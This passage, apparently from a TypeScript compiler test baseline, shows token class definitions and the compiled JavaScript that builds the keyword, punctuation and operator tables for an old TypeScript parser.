NumberLiteralToken extends Token { constructor (public value: number, public hasEmptyFraction?: boolean) { super(TokenID.NumberLiteral); } public getText(): string { return this.hasEmptyFraction ? this.value.toString() + ".0" : this.value.toString(); } public classification(): TokenClass { return TokenClass.Literal; } } export class StringLiteralToken extends Token { constructor (public value: string) { super(TokenID.StringLiteral); } public getText(): string { return this.value; } public classification(): TokenClass { return TokenClass.Literal; } } export class IdentifierToken extends Token { constructor (public value: string, public hasEscapeSequence : boolean) { super(TokenID.Identifier); } public getText(): string { return this.value; } public classification(): TokenClass { return TokenClass.Identifier; } } export class WhitespaceToken extends Token { constructor (tokenId: TokenID, public value: string) { super(tokenId); } public getText(): string { return this.value; } public classification(): TokenClass { return TokenClass.Whitespace; } } export class CommentToken extends Token { constructor (tokenID: TokenID, public value: string, public isBlock: boolean, public startPos: number, public line: number, public endsLine: boolean) { super(tokenID); } public getText(): string { return this.value; } public classification(): TokenClass { return TokenClass.Comment; } } export class RegularExpressionLiteralToken extends Token { constructor(public regex) { super(TokenID.RegularExpressionLiteral); } public getText(): string { return this.regex.toString(); } public classification(): TokenClass { return TokenClass.Literal; } } // TODO: new with length TokenID.LimFixed export var staticTokens = new Token[]; export function initializeStaticTokens() { for (var i = 0; i <= TokenID.LimFixed; i++) { staticTokens[i] = new Token(i); } } } //// [parserRealSource10.js] // Copyright (c) Microsoft. All rights reserved. Licensed under the Apache License, Version 2.0. // See LICENSE.txt in the project root for complete license information. var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; ///<reference path='typescript.ts' /> var TypeScript; (function (TypeScript) { var TokenID; (function (TokenID) { // Keywords TokenID[TokenID["Any"] = 0] = "Any"; TokenID[TokenID["Bool"] = 1] = "Bool"; TokenID[TokenID["Break"] = 2] = "Break"; TokenID[TokenID["Case"] = 3] = "Case"; TokenID[TokenID["Catch"] = 4] = "Catch"; TokenID[TokenID["Class"] = 5] = "Class"; TokenID[TokenID["Const"] = 6] = "Const"; TokenID[TokenID["Continue"] = 7] = "Continue"; TokenID[TokenID["Debugger"] = 8] = "Debugger"; TokenID[TokenID["Default"] = 9] = "Default"; TokenID[TokenID["Delete"] = 10] = "Delete"; TokenID[TokenID["Do"] = 11] = "Do"; TokenID[TokenID["Else"] = 12] = "Else"; TokenID[TokenID["Enum"] = 13] = "Enum"; TokenID[TokenID["Export"] = 14] = "Export"; TokenID[TokenID["Extends"] = 15] = "Extends"; TokenID[TokenID["Declare"] = 16] = "Declare"; TokenID[TokenID["False"] = 17] = "False"; TokenID[TokenID["Finally"] = 18] = "Finally"; TokenID[TokenID["For"] = 19] = "For"; TokenID[TokenID["Function"] = 20] = "Function"; TokenID[TokenID["Constructor"] = 21] = "Constructor"; TokenID[TokenID["Get"] = 22] = "Get"; TokenID[TokenID["If"] = 23] = "If"; TokenID[TokenID["Implements"] = 24] = "Implements"; TokenID[TokenID["Import"] = 25] = "Import"; TokenID[TokenID["In"] = 26] = "In"; TokenID[TokenID["InstanceOf"] = 27] = "InstanceOf"; TokenID[TokenID["Interface"] = 28] = "Interface"; TokenID[TokenID["Let"] = 29] = "Let"; TokenID[TokenID["Module"] = 30] = "Module"; TokenID[TokenID["New"] = 31] = "New"; TokenID[TokenID["Number"] = 32] = "Number"; TokenID[TokenID["Null"] = 33] = "Null"; TokenID[TokenID["Package"] = 34] = "Package"; TokenID[TokenID["Private"] = 35] = "Private"; TokenID[TokenID["Protected"] = 36] = "Protected"; TokenID[TokenID["Public"] = 37] = "Public"; TokenID[TokenID["Return"] = 38] = "Return"; TokenID[TokenID["Set"] = 39] = "Set"; TokenID[TokenID["Static"] = 40] = "Static"; TokenID[TokenID["String"] = 41] = "String"; TokenID[TokenID["Super"] = 42] = "Super"; TokenID[TokenID["Switch"] = 43] = "Switch"; TokenID[TokenID["This"] = 44] = "This"; TokenID[TokenID["Throw"] = 45] = "Throw"; TokenID[TokenID["True"] = 46] = "True"; TokenID[TokenID["Try"] = 47] = "Try"; TokenID[TokenID["TypeOf"] = 48] = "TypeOf"; TokenID[TokenID["Var"] = 49] = "Var"; TokenID[TokenID["Void"] = 50] = "Void"; TokenID[TokenID["With"] = 51] = "With"; TokenID[TokenID["While"] = 52] = "While"; TokenID[TokenID["Yield"] = 53] = "Yield"; // Punctuation TokenID[TokenID["Semicolon"] = 54] = "Semicolon"; TokenID[TokenID["OpenParen"] = 55] = "OpenParen"; TokenID[TokenID["CloseParen"] = 56] = "CloseParen"; TokenID[TokenID["OpenBracket"] = 57] = "OpenBracket"; TokenID[TokenID["CloseBracket"] = 58] = "CloseBracket"; TokenID[TokenID["OpenBrace"] = 59] = "OpenBrace"; TokenID[TokenID["CloseBrace"] = 60] = "CloseBrace"; TokenID[TokenID["Comma"] = 61] = "Comma"; TokenID[TokenID["Equals"] = 62] = "Equals"; TokenID[TokenID["PlusEquals"] = 63] = "PlusEquals"; TokenID[TokenID["MinusEquals"] = 64] = "MinusEquals"; TokenID[TokenID["AsteriskEquals"] = 65] = "AsteriskEquals"; TokenID[TokenID["SlashEquals"] = 66] = "SlashEquals"; TokenID[TokenID["PercentEquals"] = 67] = "PercentEquals"; TokenID[TokenID["AmpersandEquals"] = 68] = "AmpersandEquals"; TokenID[TokenID["CaretEquals"] = 69] = "CaretEquals"; TokenID[TokenID["BarEquals"] = 70] = "BarEquals"; TokenID[TokenID["LessThanLessThanEquals"] = 71] = "LessThanLessThanEquals"; TokenID[TokenID["GreaterThanGreaterThanEquals"] = 72] = "GreaterThanGreaterThanEquals"; TokenID[TokenID["GreaterThanGreaterThanGreaterThanEquals"] = 73] = "GreaterThanGreaterThanGreaterThanEquals"; TokenID[TokenID["Question"] = 74] = "Question"; TokenID[TokenID["Colon"] = 75] = "Colon"; TokenID[TokenID["BarBar"] = 76] = "BarBar"; TokenID[TokenID["AmpersandAmpersand"] = 77] = "AmpersandAmpersand"; TokenID[TokenID["Bar"] = 78] = "Bar"; TokenID[TokenID["Caret"] = 79] = "Caret"; TokenID[TokenID["And"] = 80] = "And"; TokenID[TokenID["EqualsEquals"] = 81] = "EqualsEquals"; TokenID[TokenID["ExclamationEquals"] = 82] = "ExclamationEquals"; TokenID[TokenID["EqualsEqualsEquals"] = 83] = "EqualsEqualsEquals"; TokenID[TokenID["ExclamationEqualsEquals"] = 84] = "ExclamationEqualsEquals"; TokenID[TokenID["LessThan"] = 85] = "LessThan"; TokenID[TokenID["LessThanEquals"] = 86] = "LessThanEquals"; TokenID[TokenID["GreaterThan"] = 87] = "GreaterThan"; TokenID[TokenID["GreaterThanEquals"] = 88] = "GreaterThanEquals"; TokenID[TokenID["LessThanLessThan"] = 89] = "LessThanLessThan"; TokenID[TokenID["GreaterThanGreaterThan"] = 90] = "GreaterThanGreaterThan"; TokenID[TokenID["GreaterThanGreaterThanGreaterThan"] = 91] = "GreaterThanGreaterThanGreaterThan"; TokenID[TokenID["Plus"] = 92] = "Plus"; TokenID[TokenID["Minus"] = 93] = "Minus"; TokenID[TokenID["Asterisk"] = 94] = "Asterisk"; TokenID[TokenID["Slash"] = 95] = "Slash"; TokenID[TokenID["Percent"] = 96] = "Percent"; TokenID[TokenID["Tilde"] = 97] = "Tilde"; TokenID[TokenID["Exclamation"] = 98] = "Exclamation"; TokenID[TokenID["PlusPlus"] = 99] = "PlusPlus"; TokenID[TokenID["MinusMinus"] = 100] = "MinusMinus"; TokenID[TokenID["Dot"] = 101] = "Dot"; TokenID[TokenID["DotDotDot"] = 102] = "DotDotDot"; TokenID[TokenID["Error"] = 103] = "Error"; TokenID[TokenID["EndOfFile"] = 104] = "EndOfFile"; TokenID[TokenID["EqualsGreaterThan"] = 105] = "EqualsGreaterThan"; TokenID[TokenID["Identifier"] = 106] = "Identifier"; TokenID[TokenID["StringLiteral"] = 107] = "StringLiteral"; TokenID[TokenID["RegularExpressionLiteral"] = 108] = "RegularExpressionLiteral"; TokenID[TokenID["NumberLiteral"] = 109] = "NumberLiteral"; TokenID[TokenID["Whitespace"] = 110] = "Whitespace"; TokenID[TokenID["Comment"] = 111] = "Comment"; TokenID[TokenID["Lim"] = 112] = "Lim"; TokenID[TokenID["LimFixed"] = 105] = "LimFixed"; TokenID[TokenID["LimKeyword"] = 53] = "LimKeyword"; })(TokenID = TypeScript.TokenID || (TypeScript.TokenID = {})); TypeScript.tokenTable = new TokenInfo[]; TypeScript.nodeTypeTable = new string[]; TypeScript.nodeTypeToTokTable = new number[]; TypeScript.noRegexTable = new boolean[]; TypeScript.noRegexTable[TokenID.Identifier] = true; TypeScript.noRegexTable[TokenID.StringLiteral] = true; TypeScript.noRegexTable[TokenID.NumberLiteral] = true; TypeScript.noRegexTable[TokenID.RegularExpressionLiteral] = true; TypeScript.noRegexTable[TokenID.This] = true; TypeScript.noRegexTable[TokenID.PlusPlus] = true; TypeScript.noRegexTable[TokenID.MinusMinus] = true; TypeScript.noRegexTable[TokenID.CloseParen] = true; TypeScript.noRegexTable[TokenID.CloseBracket] = true; TypeScript.noRegexTable[TokenID.CloseBrace] = true; TypeScript.noRegexTable[TokenID.True] = true; TypeScript.noRegexTable[TokenID.False] = true; var OperatorPrecedence; (function (OperatorPrecedence) { OperatorPrecedence[OperatorPrecedence["None"] = 0] = "None"; OperatorPrecedence[OperatorPrecedence["Comma"] = 1] = "Comma"; OperatorPrecedence[OperatorPrecedence["Assignment"] = 2] = "Assignment"; OperatorPrecedence[OperatorPrecedence["Conditional"] = 3] = "Conditional"; OperatorPrecedence[OperatorPrecedence["LogicalOr"] = 4] = "LogicalOr"; OperatorPrecedence[OperatorPrecedence["LogicalAnd"] = 5] = "LogicalAnd"; OperatorPrecedence[OperatorPrecedence["BitwiseOr"] = 6] = "BitwiseOr"; OperatorPrecedence[OperatorPrecedence["BitwiseExclusiveOr"] = 7] = "BitwiseExclusiveOr"; OperatorPrecedence[OperatorPrecedence["BitwiseAnd"] = 8] = "BitwiseAnd"; OperatorPrecedence[OperatorPrecedence["Equality"] = 9] = "Equality"; OperatorPrecedence[OperatorPrecedence["Relational"] = 10] = "Relational"; OperatorPrecedence[OperatorPrecedence["Shift"] = 11] = "Shift"; OperatorPrecedence[OperatorPrecedence["Additive"] = 12] = "Additive"; OperatorPrecedence[OperatorPrecedence["Multiplicative"] = 13] = "Multiplicative"; OperatorPrecedence[OperatorPrecedence["Unary"] = 14] = "Unary"; OperatorPrecedence[OperatorPrecedence["Lim"] = 15] = "Lim"; })(OperatorPrecedence = TypeScript.OperatorPrecedence || (TypeScript.OperatorPrecedence = {})); var Reservation; (function (Reservation) { Reservation[Reservation["None"] = 0] = "None"; Reservation[Reservation["Javascript"] = 1] = "Javascript"; Reservation[Reservation["JavascriptFuture"] = 2] = "JavascriptFuture"; Reservation[Reservation["TypeScript"] = 4] = "TypeScript"; Reservation[Reservation["JavascriptFutureStrict"] = 8] = "JavascriptFutureStrict"; Reservation[Reservation["TypeScriptAndJS"] = 5] = "TypeScriptAndJS"; Reservation[Reservation["TypeScriptAndJSFuture"] = 6] = "TypeScriptAndJSFuture"; Reservation[Reservation["TypeScriptAndJSFutureStrict"] = 12] = "TypeScriptAndJSFutureStrict"; })(Reservation = TypeScript.Reservation || (TypeScript.Reservation = {})); var TokenInfo = (function () { function TokenInfo(tokenId, reservation, binopPrecedence, binopNodeType, unopPrecedence, unopNodeType, text, ers) { this.tokenId = tokenId; this.reservation = reservation; this.binopPrecedence = binopPrecedence; this.binopNodeType = binopNodeType; this.unopPrecedence = unopPrecedence; this.unopNodeType = unopNodeType; this.text = text; this.ers = ers; } return TokenInfo; }()); TypeScript.TokenInfo = TokenInfo; function setTokenInfo(tokenId, reservation, binopPrecedence, binopNodeType, unopPrecedence, unopNodeType, text, ers) { if (tokenId !== undefined) { TypeScript.tokenTable[tokenId] = new TokenInfo(tokenId, reservation, binopPrecedence, binopNodeType, unopPrecedence, unopNodeType, text, ers); if (binopNodeType != NodeType.None) { TypeScript.nodeTypeTable[binopNodeType] = text; TypeScript.nodeTypeToTokTable[binopNodeType] = tokenId; } if (unopNodeType != NodeType.None) { TypeScript.nodeTypeTable[unopNodeType] = text; } } } setTokenInfo(TokenID.Any, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "any", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Bool, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "boolean", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Break, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "break", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Case, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "case", ErrorRecoverySet.SCase); setTokenInfo(TokenID.Catch, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "catch", ErrorRecoverySet.Catch); setTokenInfo(TokenID.Class, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "class", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Const, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "const", ErrorRecoverySet.Var); setTokenInfo(TokenID.Continue, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "continue", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Debugger, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.Debugger, "debugger", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Default, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "default", ErrorRecoverySet.SCase); setTokenInfo(TokenID.Delete, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Delete, "delete", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.Do, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "do", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Else, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "else", ErrorRecoverySet.Else); setTokenInfo(TokenID.Enum, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "enum", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Export, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "export", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Extends, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "extends", ErrorRecoverySet.None); setTokenInfo(TokenID.Declare, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "declare", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.False, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "false", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Finally, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "finally", ErrorRecoverySet.Catch); setTokenInfo(TokenID.For, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "for", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Function, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "function", ErrorRecoverySet.Func); setTokenInfo(TokenID.Constructor, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "constructor", ErrorRecoverySet.Func); setTokenInfo(TokenID.Get, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "get", ErrorRecoverySet.Func); setTokenInfo(TokenID.Set, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "set", ErrorRecoverySet.Func); setTokenInfo(TokenID.If, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "if", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Implements, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "implements", ErrorRecoverySet.None); setTokenInfo(TokenID.Import, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "import", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.In, Reservation.TypeScriptAndJS, OperatorPrecedence.Relational, NodeType.In, OperatorPrecedence.None, NodeType.None, "in", ErrorRecoverySet.None); setTokenInfo(TokenID.InstanceOf, Reservation.TypeScriptAndJS, OperatorPrecedence.Relational, NodeType.InstOf, OperatorPrecedence.None, NodeType.None, "instanceof", ErrorRecoverySet.BinOp); setTokenInfo(TokenID.Interface, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "interface", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Let, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "let", ErrorRecoverySet.None); setTokenInfo(TokenID.Module, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "module", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.New, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "new", ErrorRecoverySet.PreOp); setTokenInfo(TokenID.Number, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "number", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Null, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "null", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Package, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "package", ErrorRecoverySet.None); setTokenInfo(TokenID.Private, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "private", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Protected, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "protected", ErrorRecoverySet.None); setTokenInfo(TokenID.Public, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "public", ErrorRecoverySet.TypeScriptS); setTokenInfo(TokenID.Return, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "return", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.Static, Reservation.TypeScriptAndJSFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "static", ErrorRecoverySet.None); setTokenInfo(TokenID.String, Reservation.TypeScript, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "string", ErrorRecoverySet.PrimType); setTokenInfo(TokenID.Super, Reservation.TypeScriptAndJSFuture, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "super", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Switch, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "switch", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.This, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "this", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Throw, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "throw", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.True, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "true", ErrorRecoverySet.RLit); setTokenInfo(TokenID.Try, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "try", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.TypeOf, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Typeof, "typeof", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.Var, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "var", ErrorRecoverySet.Var); setTokenInfo(TokenID.Void, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.Unary, NodeType.Void, "void", ErrorRecoverySet.Prefix); setTokenInfo(TokenID.With, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.With, "with", ErrorRecoverySet.Stmt); setTokenInfo(TokenID.While, Reservation.TypeScriptAndJS, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "while", ErrorRecoverySet.While); setTokenInfo(TokenID.Yield, Reservation.JavascriptFutureStrict, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "yield", ErrorRecoverySet.None); setTokenInfo(TokenID.Identifier, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "identifier", ErrorRecoverySet.ID); setTokenInfo(TokenID.NumberLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "numberLiteral", ErrorRecoverySet.Literal); setTokenInfo(TokenID.RegularExpressionLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "regex", ErrorRecoverySet.RegExp); setTokenInfo(TokenID.StringLiteral, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "qstring", ErrorRecoverySet.Literal); // Non-operator non-identifier tokens setTokenInfo(TokenID.Semicolon, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ";", ErrorRecoverySet.SColon); // ; setTokenInfo(TokenID.CloseParen, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ")", ErrorRecoverySet.RParen); // ) setTokenInfo(TokenID.CloseBracket, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "]", ErrorRecoverySet.RBrack); // ] setTokenInfo(TokenID.OpenBrace, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "{", ErrorRecoverySet.LCurly); // { setTokenInfo(TokenID.CloseBrace, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "}", ErrorRecoverySet.RCurly); // } setTokenInfo(TokenID.DotDotDot, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, "...", ErrorRecoverySet.None); // ... // Operator non-identifier tokens setTokenInfo(TokenID.Comma, Reservation.None, OperatorPrecedence.Comma, NodeType.Comma, OperatorPrecedence.None, NodeType.None, ",", ErrorRecoverySet.Comma); // , setTokenInfo(TokenID.Equals, Reservation.None, OperatorPrecedence.Assignment, NodeType.Asg, OperatorPrecedence.None, NodeType.None, "=", ErrorRecoverySet.Asg); // = setTokenInfo(TokenID.PlusEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgAdd, OperatorPrecedence.None, NodeType.None, "+=", ErrorRecoverySet.BinOp); // += setTokenInfo(TokenID.MinusEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgSub, OperatorPrecedence.None, NodeType.None, "-=", ErrorRecoverySet.BinOp); // -= setTokenInfo(TokenID.AsteriskEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgMul, OperatorPrecedence.None, NodeType.None, "*=", ErrorRecoverySet.BinOp); // *= setTokenInfo(TokenID.SlashEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgDiv, OperatorPrecedence.None, NodeType.None, "/=", ErrorRecoverySet.BinOp); // /= setTokenInfo(TokenID.PercentEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgMod, OperatorPrecedence.None, NodeType.None, "%=", ErrorRecoverySet.BinOp); // %= setTokenInfo(TokenID.AmpersandEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgAnd, OperatorPrecedence.None, NodeType.None, "&=", ErrorRecoverySet.BinOp); // &= setTokenInfo(TokenID.CaretEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgXor, OperatorPrecedence.None, NodeType.None, "^=", ErrorRecoverySet.BinOp); // ^= setTokenInfo(TokenID.BarEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgOr, OperatorPrecedence.None, NodeType.None, "|=", ErrorRecoverySet.BinOp); // |= setTokenInfo(TokenID.LessThanLessThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgLsh, OperatorPrecedence.None, NodeType.None, "<<=", ErrorRecoverySet.BinOp); // <<= setTokenInfo(TokenID.GreaterThanGreaterThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgRsh, OperatorPrecedence.None, NodeType.None, ">>=", ErrorRecoverySet.BinOp); // >>= setTokenInfo(TokenID.GreaterThanGreaterThanGreaterThanEquals, Reservation.None, OperatorPrecedence.Assignment, NodeType.AsgRs2, OperatorPrecedence.None, NodeType.None, ">>>=", ErrorRecoverySet.BinOp); // >>>= setTokenInfo(TokenID.Question, Reservation.None, OperatorPrecedence.Conditional, NodeType.ConditionalExpression, OperatorPrecedence.None, NodeType.None, "?", ErrorRecoverySet.BinOp); // ? setTokenInfo(TokenID.Colon, Reservation.None, OperatorPrecedence.None, NodeType.None, OperatorPrecedence.None, NodeType.None, ":", ErrorRecoverySet.Colon); // : setTokenInfo(TokenID.BarBar, Reservation.None, OperatorPrecedence.LogicalOr, NodeType.LogOr, OperatorPrecedence.None, NodeType.None, "||", ErrorRecoverySet.BinOp); // || setTokenInfo(TokenID.AmpersandAmpersand, Reservation.None, OperatorPrecedence.LogicalAnd, NodeType.LogAnd, OperatorPrecedence.None, NodeType.None, "&&", ErrorRecoverySet.BinOp); // && setTokenInfo(TokenID.Bar, Reservation.None, OperatorPrecedence.BitwiseOr, NodeType.Or, OperatorPrecedence.None, NodeType.None, "|", ErrorRecoverySet.BinOp); // | setTokenInfo(TokenID.Caret, Reservation.None, OperatorPrecedence.BitwiseExclusiveOr, NodeType.Xor, OperatorPrecedence.None, NodeType.None, "^", ErrorRecoverySet.BinOp); // ^ setTokenInfo(TokenID.And, Reservation.None, OperatorPrecedence.BitwiseAnd, NodeType.And, OperatorPrecedence.None, NodeType.None, "&", ErrorRecoverySet.BinOp); // & setTokenInfo(TokenID.EqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Eq, OperatorPrecedence.None, NodeType.None, "==", ErrorRecoverySet.BinOp); // == setTokenInfo(TokenID.ExclamationEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Ne, OperatorPrecedence.None, NodeType.None, "!=", ErrorRecoverySet.BinOp); // != setTokenInfo(TokenID.EqualsEqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.Eqv, OperatorPrecedence.None, NodeType.None, "===", ErrorRecoverySet.BinOp); // === setTokenInfo(TokenID.ExclamationEqualsEquals, Reservation.None, OperatorPrecedence.Equality, NodeType.NEqv, OperatorPrecedence.None, NodeType.None, "!==", ErrorRecoverySet.BinOp); // !== setTokenInfo(TokenID.LessThan, Reservation.None, OperatorPrecedence.Relational, NodeType.Lt, OperatorPrecedence.None, NodeType.None, "<", ErrorRecoverySet.BinOp); // < setTokenInfo(TokenID.LessThanEquals, Reservation.None, OperatorPrecedence.Relational, NodeType.Le, OperatorPrecedence.None, NodeType.None, "<=", ErrorRecoverySet.BinOp); // <= setTokenInfo(TokenID.GreaterThan, Reservation.None, OperatorPrecedence.Relational, NodeType.Gt, OperatorPrecedence.None, NodeType.None, ">", ErrorRecoverySet.BinOp); // > setTokenInfo(TokenID.GreaterThanEquals, Reservation.None, OperatorPrecedence.Relational, NodeType.Ge, OperatorPrecedence.None, NodeType.None, ">=", ErrorRecoverySet.BinOp); // >= setTokenInfo(TokenID.LessThanLessThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Lsh, OperatorPrecedence.None, NodeType.None, "<<", ErrorRecoverySet.BinOp); // << setTokenInfo(TokenID.GreaterThanGreaterThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Rsh, OperatorPrecedence.None, NodeType.None, ">>", ErrorRecoverySet.BinOp); // >> setTokenInfo(TokenID.GreaterThanGreaterThanGreaterThan, Reservation.None, OperatorPrecedence.Shift, NodeType.Rs2, OperatorPrecedence.None, NodeType.None, ">>>", ErrorRecoverySet.BinOp); // >>> setTokenInfo(TokenID.Plus, Reservation.None, OperatorPrecedence.Additive, NodeType.Add, OperatorPrecedence.Unary, NodeType.Pos, "+", ErrorRecoverySet.AddOp); // + setTokenInfo(TokenID.Minus, Reservation.None, OperatorPrecedence.Additive, 